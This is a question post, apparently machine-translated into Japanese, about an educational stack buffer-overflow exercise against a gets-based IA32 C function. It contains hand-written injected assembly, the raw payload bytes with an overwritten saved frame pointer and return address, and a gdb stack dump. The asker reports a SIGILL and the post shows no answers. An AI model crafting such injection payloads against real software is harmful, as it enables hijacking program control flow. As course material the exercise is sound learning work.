1

教育目的でのみバッファ オーバーフローを実行しています。gets を使用して端末からの入力を受け取るという関数があります。この関数が、それを呼び出した関数に特定の値 " " を返し0x524ddf1eて、スタックが変更されたことを認識させないようにしたいと考えています。これは IA32 で実行される C コードです。私の思考プロセスは次のとおりです。

1. b8 1e df 4d 52       mov    $0x524ddf1e,%eax
2. bd f8 72 ff ff       mov    $0xffff72f8,%ebp
3. 68 12 8a 04 08       push   $0x8048a12
4. c3                   ret

1 行目。特定の値を %eax に移動したいと考えています。

2 行目。関数を中断し、ebp を 0xffff72f8 として読み取るので、スタックをクリーンに保つためにそのまま戻します。

行 3. 正しい場所で私を呼び出した関数に戻りたい。

4 行目。

関数に入ってフリーズしたスタックのダンプは次のとおりです。

(gdb) x /16wx 0xffff72a4
0xffff72a4: 0x00681fc4  0x00671a62  0x00682ab0  0xf7ffc6b0
*(VVVV 0xffff72b4 is where my exploit code is written VVVV)*
0xffff72b4: 0x00000001  0x00000001  0xffff7304  0x080483c8
0xffff72c4: 0x0804a108  0xffff72f8  0x08048a12  0x00000000
0xffff72d4: 0x00000000  0xffff72f8  0x006ce7d0  0xffffd5b8

%ebp と %esp は次のとおりです。

esp            0xffff72a0   0xffff72a0
ebp            0xffff72c8   0xffff72c8

生のバイトコードを書くことを考えているとき(後で解釈される)、私は次のことを行います:

b8 1e df 4d 52 db f8 72 ff ff 68 12 8a 04 08 c3 08 a1 04 08 f8 72 ff ff b4 72 ff ff
|---------------exploit code-------------------||------keep same------||-where exploit code starts-|

Keep same上記のスタックダンプで、元の値を以前と同じに保つことにしたところです。

アセンブリを書いているとき、または挿入するバイトコードを書き込もうとしているときに、何かを誤解していると思います。0xffff72b9 に SIGILL が表示されます。アドバイスをいただければ幸いです。

4

0 に答える 0